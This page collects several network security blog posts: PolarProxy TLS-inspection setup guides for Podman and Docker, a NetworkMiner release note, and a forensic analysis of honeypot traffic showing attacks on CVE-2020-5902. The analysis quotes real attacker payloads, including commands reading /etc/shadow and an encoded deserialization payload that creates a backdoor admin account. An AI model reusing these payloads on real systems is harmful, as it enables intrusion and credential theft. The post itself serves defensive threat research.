NETRESEC Network Security Blog


PolarProxy in Podman

PolarProxy + Podman Logo

Podman is a daemonless Linux container engine, which can be used as a more secure alternative to Docker. This blog post demonstrates how to run PolarProxy in a rootless container using Podman. If you still prefer to run PolarProxy in Docker, then please read our blog post "PolarProxy in Docker" instead.

Install Podman and fuse-overlayfs

Install Podman according to the official Podman installation instructions. Then install fuse-overlayfs, which is an overlay file system for rootless containers. Fuse-overlayfs can be installed in Debian/Ubuntu with "sudo apt install fuse-overlayfs" and in CentOS with "sudo yum install fuse-overlayfs".

Create a Podman Image for PolarProxy

Create a Dockerfile with the following contents:

FROM mcr.microsoft.com/dotnet/core/runtime:2.2
EXPOSE 10443
EXPOSE 10080
EXPOSE 57012
RUN groupadd -g 31337 polarproxy && useradd -m -u 31337 -g polarproxy polarproxy && mkdir -p /var/log/PolarProxy /opt/polarproxy && chown polarproxy:polarproxy /var/log/PolarProxy && curl -s https://www.netresec.com/?download=PolarProxy | tar -xzf - -C /opt/polarproxy
USER polarproxy
WORKDIR /opt/polarproxy/
ENTRYPOINT ["dotnet", "PolarProxy.dll"]
CMD ["-v", "-p", "10443,80,443", "-o", "/var/log/PolarProxy/", "--certhttp", "10080", "--pcapoverip", "57012"]

Save the Docker file as "Dockerfile" (no extension) in an empty directory and start a shell in that directory. Build a PolarProxy Podman image with:

podman build -f Dockerfile -t polarproxy

Test the PolarProxy Podman Image

Take the polarproxy Podman image for a test run. Start it with:

podman run -it --rm --name polarproxy -p 10443 localhost/polarproxy

Establish an HTTPS connection through PolarProxy by running this curl command from another shell on the same machine:

curl --insecure --connect-to www.netresec.com:443:127.0.0.1:10443 https://www.netresec.com/

If everything works alright, then curl should output HTML and the interactive Podman session running the polarproxy image should print something like:

<6>[10443] 127.0.0.1 -> N/A Connection from: 127.0.0.1:44122
<6>[10443] 127.0.0.1 -> www.netresec.com Connection request for: www.netresec.com from 127.0.0.1:44122
<6>[10443] 127.0.0.1 -> www.netresec.com Action: DECRYPT

Create a Podman Container for PolarProxy

Create directories "pcap" and "polarproxy", where PolarProxy should store the decrypted network traffic and its root CA certificate.

mkdir pcap polarproxy
podman unshare chown 31337:31337 pcap polarproxy

Create a container called "polarproxy", which has the "pcap" and "polarproxy" directories mounted as volumes. The service on TCP 10080 will serve the proxy's public root cert over HTTP. The localhost:57012 service is a Pcap-over-IP server, from which the decrypted network traffic can be streamed in real-time.

podman create --name polarproxy -v $(pwd)/pcap:/var/log/PolarProxy -v $(pwd)/polarproxy:/home/polarproxy -p 10443 -p 10080 -p 127.0.0.1:57012:57012 localhost/polarproxy

Create and enable a systemd user service that will run the container.

mkdir -p ~/.config/systemd/user/
podman generate systemd -n polarproxy > ~/.config/systemd/user/container-polarproxy.service
systemctl --user enable container-polarproxy.service

Start the systemd user service to activate the PolarProxy container.

systemctl --user start container-polarproxy.service

Verify that the service is running and that you can view the logs from PolarProxy.

systemctl --user status container-polarproxy.service
podman logs polarproxy

Expose PolarProxy to the Network

Create a firewall rule to redirect incoming TCP 443 packets to the PolarProxy service listening on port 10443.
sudo iptables -t nat -A PREROUTING -d 10.11.12.13 -p tcp --dport 443 -j REDIRECT --to 10443
Note: Replace "10.11.12.13" with the IP of the PolarProxy machine

Try making an HTTPS connection via PolarProxy from another PC on the network.

C:\> curl --insecure --resolve www.netresec.com:443:10.11.12.13 https://www.netresec.com/
Note: Replace "10.11.12.13" with the IP of the PolarProxy machine

Don't forget to save the firewall redirect rule if it is working as desired!

Redirect HTTPS and Trust the Root CA

You can now redirect outgoing TCP 443 traffic from your network to your Podman/PolarProxy host. Review the "Routing HTTPS Traffic to the Proxy" section on the PolarProxy page for recommendations on how to redirect outgoing traffic to PolarProxy.

Finally, configure the operating system, browsers and other applications that will get their TLS traffic proxied by PolarProxy to trust the root CA of the PolarProxy service running in your Podman container. Follow the steps in the "Trusting the PolarProxy root CA" section of the PolarProxy documentation in order to install the root cert.

Accessing Decrypted TLS Traffic

You should be able to access PCAP files with the decrypted HTTPS traffic in the "pcap" directory.

It is also possible view the decrypted traffic in real-time by using netcat and tcpdump as a Pcap-over-IP client like this:

nc localhost 57012 | tcpdump -nr - -X

It probably makes more sense to forward the decrypted traffic to an IDS or other type of network security monitoring tool though. See our blog post "Sniffing Decrypted TLS Traffic with Security Onion" for instructions on how to use netcat and tcpreplay to send the decrypted traffic to a monitor interface.

PolarProxy in Podman on ARM Linux

PolarProxy can also run on ARM Linux installations, such as a Raspberry Pi. However, the Dockerfile must be modified slightly in order to do so.

ARM 32-bit / AArch32 / ARMv7 If you're running an "arm32" Linux OS, then change the download link in the "RUN" instruction to the following URL:
https://www.netresec.com/?download=PolarProxy_linux-arm

ARM 64-bit / AArch64 / ARMv8 If you're running an "arm64" Linux OS, then change the download link in the "RUN" instruction to the following URL:
https://www.netresec.com/?download=PolarProxy_linux-arm64

Don't know if you're running a 32-bit or 64-bit OS? Run "uname -m" and check if the output says "armv7*" (arm32) or "armv8*" (arm64).

See our blog post "Raspberry PI WiFi Access Point with TLS Inspection" for more details about deploying PolarProxy on a Raspberry Pi.

ʕ•ᴥ•ʔ + 🦭 = 💜

Posted by Erik Hjelmvik on Tuesday, 27 October 2020 18:33:00 (UTC/GMT)

Tags: #PolarProxy #Docker #TLS #HTTPS #Proxy #curl #PCAP #Dockerfile #DNAT #container #arm32 #arm64 #AArch64 #PCAP-over-IP #pcapoverip

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: https://netresec.com/?b=20A16ef


Honeypot Network Forensics

f5 Honeypot Network Forensics

NCC Group recently released a 500 MB PCAP file containing three months of honeypot web traffic data related to the F5 remote code execution vulnerability CVE-2020-5902. In a blog post the NCC Group say that their objective is "to enable all threat intelligence researchers to gain further understanding and contribute back to the community".

The data in NCC's 500 MB capture file "f5-honeypot-release.pcap" ranges from July 7 up until September 28 and contains traffic from over 4000 unique client IP addresses. The packets are captured after having passed through a proxy, which is why all clients have IP "123.45.67.89" and the server is always displayed as "127.0.0.1". This makes it difficult to split or filter the traffic based on the client IP address. Many HTTP headers have also been masked in the capture file, but the IP portion of the "X-Forwarded-For" header is still intact. You can therefore track clients throughout the capture file by filtering on the "X-Forwarded-For" header, which contains the originating IP address of the client connecting to the proxy. As an example, you can use the following tshark command in order to count the exact number of unique clients in the released PCAP file:

tshark -r f5-honeypot-release.pcap -T fields -e http.x_forwarded_for -Y http.x_forwarded_for | sort -u | wc -l
4310

Tracking a Single Actor

I decided to focus on one of the over 4000 clients in NCC's capture file in this blog post. The selected actor is primarily originating from the IP address 45.12.206.76, which is a VPN egress point according to Scamalytics. I can therefore not be certain that only a single actor is caught with this filter, but the consistent behavior across the various sessions indicates so.

Some characteristic traits of the actor's traffic is:

  • Web browser User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
  • Uses VPN from Think Huge Ltd, IP range announced by AS9009 "M247 LTd"
  • Active between 21:55 and 05:08 UTC on weekdays as well as weekends

I started by opening the full 500 MB PCAP file from NCC Group in CapLoader. Then I narrowed the dataset down to a single client IP address by clicking "Edit -> Find Keyword" and entering the string "X-Forwarded-For: 45.12.206.76".

CapLoader Find Keyword X-Forwarded-For

After pressing "Find All Matching Flows" I got a much smaller dataset (144 kB) containing only the sessions for this specific IP address.

July 7 22:16 UTC - First Contact

The actor with IP address "45.12.206.76" can be observed attacking the vulnerable F5 device on July 7 at 22:16 UTC. The attack started with an attempt at exploiting the authentication bypass vulnerability in CVE-2020-5902.

CapLoader Transcript of CVE-2020-5902 authentication bypass attack Image: CapLoader Flow Transcript of the authentication bypass attack.

The attacker wrote the following content to "/tmp/.X11.1" by sending an HTTP POST to "fileSave.jsp":

set -e; cat /etc/shadow; cat /etc/hosts; cat /etc/krb5.conf; ifconfig -a; ss -lnpt; cat /config/bigip.license; rm /tmp/.X11.1
NetworkMiner 2.6 Parameters Image: Parameters from the attacker shown in NetworkMiner

The "/tmui/login.jsp" page can be accessed without authentication, so no credentials are needed for this request. But as explained in Orange Tsai's BlackHat 2018 talk "Breaking Parser Logic!" the TMUI Tomcat service will interpret "..;" as the parent directory, which yields URI "/tmui/locallb/workspace/fileSave.jsp" that would otherwise only be available to authenticated users.

Slide from Orange Tsai's BlackHat 2018 talk

I didn't find any attempt to execute the bash script in the "/tmp/.X11.1" file though.

July 9 04:49 UTC - Same Actor, New IP

The same actor came back again on July 9, but this time from the IP address "185.160.24.70". The actions carried out are pretty much a reiteration of the previous attempts, i.e. writing "set -e; cat /etc/shadow; cat /etc/hosts; [...]" (exact same commands as last time) to "/tmp/.X11.1". The commands, the name of the temp file and the HTTP headers are identical which is why I'm pretty confident that this is the same actor. Both IP addresses (45.12.206.76 and 185.160.24.70) also seem to originate from the same VPN service, since the networks are announced by AS9009 (M247 Ltd) and both networks are registered to "Think Huge Ltd" who run VPN's as part of their business.

July 18 21:55 UTC - Java Deserialization Attack

More than a week later there is activity from the 45.12.206.76 IP address again. But this time the attacker has changed approach to instead inject a serialized piece of Java code by posting it to "/hsqldb;" This is an attempt at triggering the deserialization vulnerability in CVE-2020–5902.

CapLoader Transcript of Java Deserialization Attack

As you've probably noticed the argument provided to the org.hsqldb.util.ScriptTool.main function is ASCII-hex encoded. Decoding it gives a serialized Java blob containing a call to the org.apache.commons.collections.functors.InvokerTransformer constructor with methodName "exec" and a long string as args. You can use SerializationDumper to see the full structure. The full argument provided to the InvokerTransformer constructor was:

bash -c {echo,dG1zaCAtYyAiY3J​YXRlIGF1dGggdXNl​ciBzbm1wZCBwYXNz​d29yZCBBYkNkMDA3​eHN3MiBzaGVsbCBi​YXNoIHBhcnRpdGlv​bi1hY2Nlc3MgYWRk​IHthbGwtcGFydGl0​aW9ucyB7cm9sZSBh​ZG1pbn19Ig==}|{base64,-d}|{bash,-i}

Base64 decoding the data reveals the following command sent to the TMOS Shell (tmsh):

tmsh -c "create auth user snmpd password AbCd007xsw2 shell bash partition-access add {all-partitions {role admin}}"

The HTTP response contains a string saying "General error java.lang.IllegalArgumentException: argument type mismatch", which could indicate that the exploit failed. However that is probably just a side effect of the exploit, so the injected bash command might still have executed. Nevertheless the attacker POST'ed the exact same exploit three more times, getting the same IllegalArgumentException error message each time.

The attacker came back with a slightly modified payload for the deserialization attack 20 minutes later. The new payload executed this tmsh command instead:

tmsh -c "create auth user snmpd password AbCd007xsw2 partition-access all role admin shell bash"
This attack was also posted four times.

July 19 02:54 UTC - Web Shell

Five hours after the first deserialization attack the actor came back, this time with a call to F5's "iControl REST API" at URI "/mgmt/tm/util/bash".

CapLoader Transcript of POST request to /mgmt/tm/util/bash

It looks like a bash command was supplied in the JSON data. The documentation for the iControl REST API confirms that this is a built in feature, not a bug or vulnerability:

The utilCmdArgs name is used to provide the command line arguments for the Advanced Shell (bash) utility. The -c option in bash is used to process any system commands [...]

However, this type of request can only be carried out by an authenticated user. The HTTP request used basic auth with "c25tcGQ6QWJDZDAwN3hzdzI=" as credential, which decodes into "snmpd:AbCd007xsw2". You probably recognize this credential from the deserialization attack, where the command "create auth user snmpd password AbCd007xsw2" was issued. The password in the basic auth header can also be observed in NetworkMiner's "Credentials" tab.

NetworkMiner 2.6 Credentials

NetworkMiner can also be used to list all all occurrences of the "utilCmdArgs" parameter.

NetworkMiner 2.6 Parameters Image: Parameters values for "utilCmdArgs" in PCAP data filtered on "X-Forwarded-For: 45.12.206.76".

NetworkMiner shows us that the "cat /etc/hosts" command was issued four times. We can see that the command executed successfully, because the HTTP response comes back with a JSON formatted result containing the following output from the cat command:

#
# THIS IS AN AUTO-GENERATED FILE - DO NOT EDIT!!!
#
# Use the tmsh shell utility to make changes to the system configuration.
# For more information, see tmsh -a help sys global-settings.
127.0.0.1 localhost.localdomain localhost bigip1.localhost.localdomain
127.2.0.1 sccp aom AOM
127.2.0.2 bigip1.localhost.localdomain
127.1.1.255 tmm-bcast
127.1.1.253 tmm-shared
127.1.1.254 tmm
127.1.1.1 tmm0
127.1.1.2 tmm1
10.164.0.2 bigip1.localhost.localdomain
220.64.53.10 f5update.ddns.net

The list of "utilCmdArgs" parameters from NetworkMiner also reveals that the attacker sent the following long sequence of commands to the iControl "Advanced Shell" utility:
-c "set -e; cat /etc/shadow; cat /etc/hosts; cat /etc/krb5.conf; ifconfig -a; ss -lnpt; cat /config/bigip.license;"

You probably recognize this command sequence, which was previously posted to "/tmp/.X11.1" on July 7 and 9 by attempting to exploit the authentication bypass vulnerability in CVE-2020-5902. However, this time the output from the command comes back in the HTTP response in form of a 16 kB JSON blob.

CapLoader Transcript of utilCmdArgs request and responseImage: CapLoader Transcript of utilCmdArgs request and reponse

The PCAP file from NCC Group unfortunately only contain the first 8 kB of the full 16 kB JSON data returned from the server. It looks as if the data was cut of just before the contents of "/config/bigip.license" were about to be transferred. By looking at the TCP ACK numbers coming back from 45.12.206.76 it looks as if the complete 16 kB output was actually transferred to the attacker, but this traffic has been removed from the published capture file. Maybe this was done in order to protect the contents of NCC's "bigip.license" file?

Other Attacks with Similar Password Scheme

This blog post has outlined how an attacker created a user account called "snmpd" on NCC Group's F5 honeypot. The password for this user account was set to "AbCd007xsw2" by the attacker. In the dataset published by NSS I noticed two other attacks where user accounts were created with very similar passwords.

The first one creates a user account named "system" with password "ABcD007...A01". This user account was created by an attacker, coming from IP address 185.220.101.214 on July 7, with the following payload in another deserialization attack:

tmsh -c 'create auth user systems password ABcD007...A01 shell bash partition-access add { all-partitions { role admin }}';

The IP address used in that attack (185.220.101.214) was an active Tor relay on July 7.

The other attack where a similar password was observed originated from IP address 198.13.54.223 on August 3'rd. This time the attacker attempted to authenticate to "/tmui/logmein.html" with username "admin" and password "aBcD008@@Ws0A".

CapLoader Transcript of POST request to logmein.html

However, as can be seen in the screenshot above, the login was not successful.

I'm not sure if this is a password scheme used by a specific actor or if it is an artifact of a common tool used by different actors.

Finally, there was also an actor coming in from IP address 185.201.9.198 who performed actions related to those described in this blog post. However, I'd like to cover that traffic in a separate blog post.

Posted by Erik Hjelmvik on Wednesday, 21 October 2020 12:35:00 (UTC/GMT)

Tags: #PCAP #CapLoader #NetworkMiner

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: https://netresec.com/?b=20A37e0


PolarProxy in Docker

PolarProxy + Docker

Our transparent TLS proxy PolarProxy is gaining lots of popularity due to how effective it is at generating decrypted PCAP files in combination with how easy it is to deploy. In this blog post we will show how to run PolarProxy in Docker.

Installation Instructions

Create a Dockerfile with the following contents:

FROM mcr.microsoft.com/dotnet/core/runtime:2.2
EXPOSE 10443
EXPOSE 10080
EXPOSE 57012
RUN groupadd -g 31337 polarproxy && useradd -m -u 31337 -g polarproxy polarproxy && mkdir -p /var/log/PolarProxy /opt/polarproxy && chown polarproxy:polarproxy /var/log/PolarProxy && curl -s https://www.netresec.com/?download=PolarProxy | tar -xzf - -C /opt/polarproxy
VOLUME ["/var/log/PolarProxy/", "/home/polarproxy/"]
USER polarproxy
WORKDIR /opt/polarproxy/
ENTRYPOINT ["dotnet", "PolarProxy.dll"]
CMD ["-v", "-p", "10443,80,443", "-o", "/var/log/PolarProxy/", "--certhttp", "10080", "--pcapoverip", "0.0.0.0:57012"]

Save the Docker file as "Dockerfile" (no extension) in an empty directory and start a shell in that directory with root privileges. Build the PolarProxy Docker image with:

docker build -t polarproxy-image .

Next, create a Docker container named "polarproxy":

docker create -p 443:10443 -p 10443:10443 -p 10080:10080 --name polarproxy polarproxy-image
The "-p" switches in this command define three DNAT rules that will get activated when the polarproxy container is started. The first DNAT rule forwards incoming TCP port 443 traffic to the polarproxy Docker container's transparent TLS proxy service on TCP port 10443. The second one does the same thing, but for incoming traffic to TCP 10443. The last one forwards TCP port 10080 traffic to a web server that delivers the public X.509 certificate of the proxy.

It is now time to start the polarproxy container:

docker start polarproxy

Verify that PolarProxy is running:

docker ps
docker logs polarproxy

Try fetching PolarProxy's public root CA certificate with curl and then connect to a website over HTTPS through the proxy:

curl -sL http://localhost:10080 | openssl x509 -inform DER -issuer -noout -dates
curl --insecure --connect-to www.netresec.com:443:127.0.0.1:10443 https://www.netresec.com/
curl --insecure --resolve www.netresec.com:443:127.0.0.1 https://www.netresec.com/

Redirect HTTPS and Trust the Root CA

You can now redirect outgoing TCP 443 traffic from your network to your Docker host. Review the "Routing HTTPS Traffic to the Proxy" section on the PolarProxy page for recommendations on how to redirect outgoing traffic to PolarProxy.

Finally, configure the operating system, browsers and other applications that will get their TLS traffic proxied by PolarProxy to trust the root CA of the PolarProxy service running in your Docker container. Follow the steps in the "Trusting the PolarProxy root CA" section of the PolarProxy documentation in order to install the root cert.

Docker Volumes

The Docker file we used in this blog post defines two volumes. The first volume is mounted on "/var/log/PolarProxy" in the container, which is where the decrypted network traffic will be stored as hourly rotated PCAP files. The second volume is the polarproxy home directory, under which PolarProxy will store its private root CA certificate.

The volumes are typically located under "/var/lib/docker/volumes" on the Docker host's file system. You can find the exact path by running:

docker volume ls
docker volume inspect <VOLUME_NAME>

Or use find to list *.pcap files in the Docker volumes directory:

find /var/lib/docker/volumes/ -name *.pcap
/var/lib/docker/volumes/7ebb3f56fd4ceab96[...]/_data/​proxy-201006-095937.pcap/var/lib/docker/volumes/7ebb3f56fd4ceab96[...]/_data/​proxy-201006-105937.pcap/var/lib/docker/volumes/7ebb3f56fd4ceab96[...]/_data/​proxy-201006-115937.pcap

The full path of your private PolarProxy Root CA certificate, which is located under "/home/polarproxy/" in the Docker container, can also be located using find:

find /var/lib/docker/volumes/ -name *.p12
/var/lib/docker/volumes/dcabbbac10e1b1461[...]/_data/​.local/share/PolarProxy/​e249f9c497d7b5c41339f153a31eda1c.p12

We recommend reusing the "/home/polarproxy/" volume, when deploying new PolarProxy instances or upgrading to a new version of PolarProxy, in order to avoid having to re-configure clients to trust a new root CA every time a new PolarProxy container is created.

PolarProxy in Docker on ARM Linux

PolarProxy can also run on ARM Linux installations, such as a Raspberry Pi. However, the Dockerfile must be modified slightly in order to do so.

ARM 32-bit / AArch32 / ARMv7 If you're running an "arm32" Linux OS, then change the download link in the "RUN" instruction to the following URL:
https://www.netresec.com/?download=PolarProxy_linux-arm

ARM 64-bit / AArch64 / ARMv8 If you're running an "arm64" Linux OS, then change the download link in the "RUN" instruction to the following URL:
https://www.netresec.com/?download=PolarProxy_linux-arm64

Don't know if you're running a 32-bit or 64-bit OS? Run "uname -m" and check if the output says "armv7*" (arm32) or "armv8*" (arm64).

See our blog post "Raspberry PI WiFi Access Point with TLS Inspection" for more details about deploying PolarProxy on a Raspberry Pi (without Docker).

Credits

We'd like to thank Jonas Lejon for contacting us back in February about the work he had done to get PolarProxy running in Docker. We used Jonas' work as a starting point when building the installation instructions in this how-to guide.

We also want to thank Erik Ahlström for providing valuable feedback on the instructions in this guide.

ʕ•ᴥ•ʔ + 🐳 = 💜

Posted by Erik Hjelmvik on Wednesday, 07 October 2020 08:09:00 (UTC/GMT)

Tags: #PolarProxy #Docker #TLS #HTTPS #Proxy #TLSI #Dockerfile #curl #x509 #X.509 #PCAP #DNAT #container #DNAT #arm32 #arm64 #AArch64 #PCAP-over-IP #pcapoverip

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: https://netresec.com/?b=20Accbd


NetworkMiner 2.6 Released

NetworkMiner 2.6

We are happy to announce the release of NetworkMiner 2.6 today! The network forensic tool is now even better at extracting emails, password hashes, FTP transfers and artifacts from HTTP and HTTP/2 traffic than before.

Some of the major improvements in this new release are related to extraction and presentation of emails from SMTP, POP3 and IMAP traffic. On that note, we’d like to thank Mandy van Oosterhout for reporting a bug in our email parser!

Emails extracted with NetworkMiner 2-6
Image: Emails extracted from SMTP and IMAP traffic

I have previously blogged about how to extract John-the-Ripper hashes from Kerberos network traffic with NetworkMiner. We have now added support for presenting LANMAN and NTLM credentials as JtR hashes as well.

NTLMv2 and Kerberos hashes in NetworkMiner 2.6
Image: JtR formatted NTLMv2 and Kerberos hashes in NetworkMiner 2.6

We have also improved NetworkMiner’s Linux support. Files, images and folders can now be opened in external tools directly from the NetworkMiner GUI also when running NetworkMiner in Linux using Mono 6 (or later). Linux users previously got a “System.ComponentModel.Win32Exception” error message saying something like “Cannot find the specified file” or “Access denied” due to a breaking change introduced in Mono version 6.

NetworkMiner running in Ubuntu 20.04
Image: NetworkMiner 2.6 running in Ubuntu 20.04 with Mono 6.8.0.105

The new release also comes with several updates of how HTTP and HTTP/2 traffic is handled and presented. We have, for example, added better extraction of data sent in HTTP (or HTTP/2) POST requests. Posted JSON formatted parameters are also extracted even if the JSON data has been gzip compressed. The “Accept-Language” header values in HTTP and HTTP/2 are extracted as “Host Details” in order to support forensic analysis of user language settings, as shown by Fox-IT in their “Operation Wocao - Shining a light on one of China’s hidden hacking groups” report.

NetworkMiner has supported decapsulation of tunneling protocols and protocols for network virtualization, like 802.1Q, GRE, PPPoE, VXLAN, OpenFlow, MPLS and EoMPLS, since version 2.1. We have now improved our GRE parser to also support NVGRE (RFC 7637) by adding support for Transparent Ethernet Bridging.

Jan Hesse sent us a feature request on Twitter earlier this year, where asked about support for FritzBox captures. We are happy to announce that NetworkMiner now supports the modified pcap format you get when sniffing network traffic with a FritzBox gateway.

Fritz!Box

NetworkMiner 2.6 can now also parse and extract SIP chat messages (RFC 3428) to the “Messages” tab. Audio extraction of VoIP calls is still a feature that is exclusively available only in NetworkMiner Professional though.

NetworkMiner Professional

Our commercial tool NetworkMiner Professional has received a few additional updates, such as support for analysis of HTTP/2 traffic in the “Browsers tab”. However, please note that NetworkMiner does not perform TLS decryption, so the HTTP/2 traffic will have to be decrypted by a TLS proxy like PolarProxy prior to being saved to a PCAP file.

HTTP/2 traffic in NetworkMiner Professional's Browsers tab

We have added a few new great online services to NetworkMiner Pro’s OSINT lookup as well, such as shouldiclick.org, Browserling, MalwareDomainList and VirusTotal lookups of URL’s in the “Browsers” tab. We have also added some additional external OSINT sources for lookups of IP addresses and domain names, such as MalwareDomainList and mnemonic ACT. The JA3 hash lookup menu in NetworkMiner Professional’s “Hosts” tab has also been extended to include GreyNoise.

URL lookup menu in NetworkMiner Professional's Browsers tab

NetworkMiner Pro previously played back G.722 VoIP audio at half speed. This issue has now been fixed, so that G.722 RTP audio is extracted and played back in 16k samples/s. The bug was due to an error in RFC 1890 that was later corrected in RFC 3551. Thanks to Michael "MiKa" Kafka for teaching us about this!

Excerpt from RFC 3551:

Even though the actual sampling rate for G.722 audio is 16,000 Hz, the RTP clock rate for the G722 payload format is 8,000 Hz because that value was erroneously assigned in RFC 1890 and must remain unchanged for backward compatibility. The octet rate or sample-pair rate is 8,000 Hz.

We’d also like to mention that NetworkMiner Professional now comes with improved analytical support to help investigators detect Tor traffic.

Upgrading to Version 2.6

Users who have purchased a license for NetworkMiner Professional 2.x can download a free update to version 2.6 from our customer portal, or use the “Help > Check for Updates” feature. Those who instead prefer to use the free and open source version can grab the latest version of NetworkMiner from the official NetworkMiner page.

Posted by Erik Hjelmvik on Wednesday, 23 September 2020 09:10:00 (UTC/GMT)

Tags: #NetworkMiner #SMTP #POP3 #IMAP #email #FTP #JtR #John #Mono #Linux #HTTP #HTTP/2 #GRE #SIP #VoIP #Tor #PCAP

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: https://netresec.com/?b=209ff4e

twitter

NETRESEC on Twitter

Follow @netresec on twitter:
» twitter.com/netresec


book

Recommended Books

» The Practice of Network Security Monitoring, Richard Bejtlich (2013)

» Applied Network Security Monitoring, Chris Sanders and Jason Smith (2013)

» Network Forensics, Sherri Davidoff and Jonathan Ham (2012)

» The Tao of Network Security Monitoring, Richard Bejtlich (2004)

» Practical Packet Analysis, Chris Sanders (2017)

» Windows Forensic Analysis, Harlan Carvey (2009)

» TCP/IP Illustrated, Volume 1, Kevin Fall and Richard Stevens (2011)

» Industrial Network Security, Eric D. Knapp and Joel Langill (2014)